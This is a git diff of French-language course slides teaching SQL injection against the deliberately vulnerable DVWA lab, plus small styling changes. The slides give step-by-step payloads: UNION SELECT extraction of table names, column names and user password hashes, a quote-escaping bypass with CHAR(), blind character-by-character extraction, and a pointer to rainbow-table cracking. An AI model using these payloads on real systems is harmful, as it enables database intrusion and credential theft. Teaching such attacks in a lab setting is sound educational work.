affiche la liste de tous les utilisateurs -* Pas de message d'erreur -* Pas de moyen de savoir si la **payload** a été éxécutée ou non - * cas d'une redirection systématique - * nécessite en général d'itérer - * avec un LIKE par exemple pour déduire lettre par lettre +<small><i class="fas fa-circle-check"></i> [/vulnerabilities/sqli/?id=%27+OR+1%3D1+%23&Submit=Submit#](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/sqli/?id=%27+OR+1%3D1+%23&Submit=Submit#)</small> -Note: -- boolean type: formulaire d'authentification - - erreur en cas d'échec - - drapeau rouge - - home page en cas de succés - - drapeau vert - - attention une 404 ou une 500 peut être le drapeau vert -- blind typique - - accès à un contenu privé www.example.org/display.php?item=1' - - redirige systématiquement sur la page d'authentification - - l'idée est de charger la requête et de chronomtérer le temps d'exécution - - une requête invalide ne sera pas exécuté donc le temps de réponse sera inférieur au temps d'une requêt valide qui sera exécuté - - Benchmark() MySQL - - WaitFor() MSSQ - - -## <i class="fa fa-eye"></i> [SQLi](https://www.owasp.org/index.php/SQL_Injection) Error-based - -L'idée est d'utiliser les commentaires pour terminer prématurément l'exécution du SQL - -```php -$id = $_GET['id']; -$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'"; -$result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' ); -$num = mysql_numrows($result); -$i = 0; -while ($i < $num) { - $first = mysql_result($result,$i,"first_name"); - $last = mysql_result($result,$i,"last_name"); - echo '<pre>'; - echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last; - echo '</pre>'; - $i++; -} -``` +<i class="fa-solid fa-bullseye"></i> on cherche les mots de passe des utilisateurs -## <i class="fa fa-eye"></i> [SQLi](https://www.owasp.org/index.php/SQL_Injection) Error-based +### <i class="fa-solid fa-bomb"></i> SQLi / low -détectable en tentant une simple **'** en entrée +déterminer le nombre de paramètres de la requêtes + ``` + User ID: ' OR 1=1 ORDER BY 1 # + ``` -```http -http://dv.wa/vulnerabilities/sqli/?id='&Submit=Submit# -``` +<small><i class="fas fa-circle-check"></i> [/vulnerabilities/sqli/?id=%27+OR+1%3D1+ORDER+BY+2+%23&Submit=Submit#](https://vm-etu-vimazeno.local.isima.fr/vulnerabilities/sqli/?id=%27+OR+1%3D1+ORDER+BY+2+%23&Submit=Submit#)</small> + +<small><i class="fa-solid fa-circle-xmark"></i> [/vulnerabilities/sqli/?id=%27+OR+1%3D1+ORDER+BY+3+%23&Submit=Submit#](https://vm-etu-vimazeno.local.isima.fr/vulnerabilities/sqli/?id=%27+OR+1%3D1+ORDER+BY+3+%23&Submit=Submit#)</small> -produit +<i class="fa-solid fa-trophy"></i> il y a 2 champs dans la clause SELECT + +### <i class="fa-solid fa-bomb"></i> SQLi / low + +repérer qui est qui? + ``` + User ID: 6' UNION SELECT 1,2 # + ``` + ``` + First name: 1 + Surname: 2 + ``` + +afficher la base de données et l'utilisateur courant + ``` + User ID: 6' UNION SELECT database(),current_user() # + ``` + ``` + First name: dvwa + Surname: dvwa@localhost + ``` + <small><i class="fas fa-circle-check"></i> [/vulnerabilities/sqli/?id=6%27+UNION+SELECT+database%28%29%2Ccurrent_user%28%29+%23&Submit=Submit#](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/sqli/?id=6%27+UNION+SELECT+database%28%29%2Ccurrent_user%28%29+%23&Submit=Submit#)</small> + + <i class="fa-solid fa-book-skull"></i> **UNION** ou **Cross table** + + +### <i class="fa-solid fa-bomb"></i> SQLi / low + +afficher toutes les tables de la base de données `dvwa` via la table virutelle [information_schema](http://dev.mysql.com/doc/refman/5.1/en/information-schema.html) + ``` -You have an error in your SQL syntax; check the manual -that corresponds to your MySQL server version for -the right syntax to use near ''''' at line 1 +User ID: 6' UNION SELECT table_name,2 + FROM INFORMATION_SCHEMA.TABLES + WHERE TABLE_SCHEMA = 'dvwa' # ``` -intéressant! +<small><i class="fas fa-circle-check"></i> [/vulnerabilities/sqli/?id=6%27+UNION+SELECT+...+TABLE_SCHEMA+%3D+%27dvwa%27+%23&Submit=Submit#](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/sqli/?id=6%27+UNION+SELECT+table_name%2C2+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA+%3D+%27dvwa%27+%23&Submit=Submit#)</small> -## [SQL Injection - security low](http://dv.wa/vulnerabilities/sqli_blind/) +### <i class="fa-solid fa-bomb"></i> SQLi / low -sensible à (version human readable) - -```http -http://dv.wa/vulnerabilities/sqli/?id=' OR 1=1#&Submit=Submit +afficher les noms de colonnes de la tables `users` via la table virutelle [information_schema](http://dev.mysql.com/doc/refman/5.1/en/information-schema.html) + +``` +User ID: 6' UNION SELECT column_name,2 + FROM INFORMATION_SCHEMA.COLUMNS + WHERE TABLE_SCHEMA = 'dvwa' # ``` -soit en version encodée +<small><i class="fas fa-circle-check"></i> [/vulnerabilities/sqli/?id=6%27+UNION+SELECT...+TABLE_SCHEMA+%3D+%27dvwa%27+%23&Submit=Submit#](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/sqli/?id=6%27+UNION+SELECT+column_name%2C2++++FROM+INFORMATION_SCHEMA.COLUMNS++++WHERE+TABLE_SCHEMA+%3D+%27dvwa%27+%23&Submit=Submit#)</small> -```http -http://dv.wa/vulnerabilities/sqli/?id=%27+OR+1%3D1+%3B%23%23&Submit=Submit + +### <i class="fa-solid fa-bomb"></i> SQLi / low + +afficher les champs `user` & `password` de la table `users` + +``` +User ID: 6' UNION SELECT user,password FROM users # ``` -affiche la liste de tous les utilisateurs +<small><i class="fas fa-circle-check"></i> [/vulnerabilities/sqli/?id=6%27+UNION+SELECT+user%2Cpassword+FROM+users+%23&Submit=Submit#](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/sqli/?id=6%27+UNION+SELECT+user%2Cpassword+FROM+users+%23&Submit=Submit#)</small> -**<i class="fa fa-bomb"></i> on peut mieux faire !!** +<i class="fa-solid fa-screwdriver-wrench"></i> [crackstation.net](https://crackstation.net/) pour une **rainbow attack** ou attaque par **tables arc-en-ciel** -Note: -- je donne les urls en mode human readable - - les valeurs sont à copier dans le champs - - PAS dans l'url -- se détecte avec juste ' ou en fuzzant plus large - - fuzzdb/attack-playloads/sql-injection/detect/MySQL.fuzz.txt - - fuzzdb/attack-playloads/attack-payloads/all-attacks - - tester avec Burp - - avec la hackbar - - mettre un flag grep SQL - - filtrer par length, error, et flag SQL +### <i class="fa-solid fa-bomb"></i> SQLi / medium -## [SQL Injection - security low](http://dv.wa/vulnerabilities/sqli_blind/) + + +détection -```http -http://dv.wa/vulnerabilities/sqli/?id=' OR 1=1 ORDER BY 5#&Submit=Submit +``` +User ID: ' OR 1=1 # ``` -affiche un message d'erreur +<i class="fa-solid fa-circle-xmark"></i> a priori les **'** sont échappés -```http -http://dv.wa/vulnerabilities/sqli/?id=' OR 1=1 ORDER BY 2#&Submit=Submit + +### <i class="fa-solid fa-bomb"></i> SQLi / medium + +``` +User ID: 1 OR 1=1 # ``` -est exécutée +<i class="fas fa-circle-check"></i> le paramètre id est un entier + +reprendre les étapes SQLi / low en remplacant -```http -http://dv.wa/vulnerabilities/sqli/?id=' OR 1=1 ORDER BY 3#&Submit=Submit +``` +User ID: 6' ... # ``` -affiche un message d'erreur +<i class="fa-solid fa-arrow-right-arrow-left"></i> -**<i class="fa fa-trophy"></i> par dichotomie** +``` +User ID: 6 ... # +``` -**il y a 2 champs dans la clause SELECT** +<small> -Note: -- va nous permettre d'étendre les requêtes à d'autres tables +`TABLE_SCHEMA = 'dvwa'` +<i class="fa-solid fa-arrow-right-arrow-left"></i> -## [<i class="fa fa-eye"></i> SQLi - security low](http://dv.wa/vulnerabilities/sqli_blind/) +`TABLE_SCHEMA = CHAR(100,118,119,97)` -```http -http://dv.wa/vulnerabilities/sqli/?id=' OR 1=1 UNION SELECT NULL, user()#&Submit=Submit -``` +</small> -affiche l'utilisateur courant (mysqlusername@mysqlhost) à la fin de la liste des users -```http -http://dv.wa/vulnerabilities/sqli/?id=' or 0=0 UNION SELECT NULL, database()#&Submit=Submit -``` +### <i class="fa-solid fa-bomb"></i> SQLi / high -affiche le nom de la base de données à la fin de la liste des users +Toutes la séquence SQLi / low est valide -## [<i class="fa fa-eye"></i> SQLi - security low](http://dv.wa/vulnerabilities/sqli_blind/) +### <i class="fa-solid fa-bomb"></i> Blind SQLi / low -```http -http://dv.wa/vulnerabilities/sqli/?id=' AND 1=0 UNION SELECT NULL, table_name FROM information_schema.tables#&Submit=Submit +* plus de message d'erreur +* plus d'affichage des champs + +* identifier les comportements + +``` +User ID: 1 +``` +``` +User ID exists in the database. +``` +``` +User ID: 6 +``` +``` +User ID is MISSING from the database. ``` -* affiche toutes les tables via la table virutelle [information_schema](http://dev.mysql.com/doc/refman/5.1/en/information-schema.html) - * quand on fait de l'**UNION** de deux tables distincts on parle de **Cross table** -```http -http://dv.wa/vulnerabilities/sqli/?id=' AND 1=0 UNION SELECT NULL, table_name FROM information_schema.tables WHERE table_name LIKE '%user%'#&Submit=Submit +### <i class="fa-solid fa-bomb"></i> Blind SQLi / low + +* identifier les comportements + * on sait que l'utilisateur 1 existe + +``` +User ID: 1' AND '1' = '2' # +``` +``` +User ID is MISSING from the database. +``` +``` +User ID: 1' AND '1' = '1' # +``` +``` +User ID exists in the database. ``` -affiche toutes les tables qui contiennent user +<i class="fa-solid fa-trophy"></i> il y a une injection -## [<i class="fa fa-eye"></i> SQLi - security low](http://dv.wa/vulnerabilities/sqli_blind/) +### <i class="fa-solid fa-bomb"></i> Blind SQLi / low -```http -http://dv.wa/vulnerabilities/sqli/?id=' AND 1=0 UNION SELECT NULL, concat(table_name,0x0a,column_name) FROM information_schema.columns WHERE table_name = 'users'#&Submit=Submit +déterminer le nom de la base de données + +``` +1' AND ORD(MID(DATABASE(),1,1)) = 100 # ``` -* affiche toutes les champs de la table user +* `DATABASE()` : renvoie la chaîne "dvwa" +* `MID(DATABASE(),1,1)` : renvoie le première caractère de la chaîne retournée par `DATABASE()` +* `ORD()` : renvoie l'équivalent décimal du caractère en paramètre -```http -http://dv.wa/vulnerabilities/sqli/?id=' AND 1=0 UNION SELECT NULL, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) FROM users#&Submit=Submit + +### <i class="fa-solid fa-bomb"></i> Blind SQLi / low + +déterminer le nombre de caractère dans le nom de la base de données + +``` +1' AND LENGTH(DATABASE()) = 4 # ``` -* affiche toutes les valeurs des champs *user* et *password* de la table user +déterminer le nom de la base de données - * reste à brute forcer +``` +1' AND ORD(MID(DATABASE(),1,1)) = 100 # d +1' AND ORD(MID(DATABASE(),2,1)) = 118 # v +1' AND ORD(MID(DATABASE(),3,1)) = 119 # w +1' AND ORD(MID(DATABASE(),4,1)) = 97 # a +``` ## [<i class="fa fa-eye"></i> SQLi - security low](http://dv.wa/vulnerabilities/sqli_blind/) diff --git a/content/slides/1337/md/xss.md b/content/slides/1337/md/xss.md index ae6720d..259664c 100644 --- a/content/slides/1337/md/xss.md +++ b/content/slides/1337/md/xss.md @@ -3,6 +3,8 @@ ## aka cross site script <i class="fa-brands fa-firefox-browser"></i> +<br /><br /><br /><br /><br /><br /> +<small> tapez `<prez>.html?<username-uca>` dans votre navigateur pour suivre le cours avec votre nom de vm</small> ### <i class="fas fa-cogs"></i> XSS diff --git a/content/slides/1337/sqli.html b/content/slides/1337/sqli.html index ddd9c32..c58387c 100644 --- a/content/slides/1337/sqli.html +++ b/content/slides/1337/sqli.html @@ -7,11 +7,11 @@ <title>SQLi</title> <link rel="stylesheet" href="../../node_modules/reveal.js/css/reveal.css"> - <link rel="stylesheet" href="../../node_modules/reveal.js/css/theme/white.css"> + <link rel="stylesheet" href="../../node_modules/reveal.js/css/theme/black.css"> <!-- Theme used for syntax highlighting of code --> <link rel="stylesheet" href="../../node_modules/reveal.js/lib/css/zenburn.css"> - <link rel="stylesheet" href="../../node_modules/font-awesome/css/font-awesome.min.css"> + <link rel="stylesheet" href="../../node_modules/@fortawesome/fontawesome-free/css/all.min.css"> <link rel="stylesheet" href="../main.css"> <!-- Printing and PDF exports --> @@ -35,7 +35,7 @@ </div> </div> - <script src="../../node_modules/reveal.js/lib/js/head.min.js"></script> + <!-- script src="../../node_modules/reveal.js/lib/js/head.min.js"></script --> <script src="../../node_modules/reveal.js/js/reveal.js"></script> <script> @@ -66,5 +66,6 @@ ] }); </script> + <script src="../main.js"></script><script src="../main.js"></script> </body> </html> diff --git a/content/slides/main.css b/content/slides/main.css index 4ff06b1..b7f8cb4 100644 --- a/content/slides/main.css +++ b/content/slides/main.css @@ -45,6 +45,10 @@ reveal code { color: yellow; } +.fa-trophy { + color: yellow; +} + .fa-medkit { color: pink; } @@ -63,4 +67,12 @@ reveal code { .fa-firefox-browser { color: orange; +} + +.fa-bullseye { + color:orangered +} + +.fa-book-skull, .fa-screwdriver-wrench { + color: grey; } \ No newline at end of file -- GitLab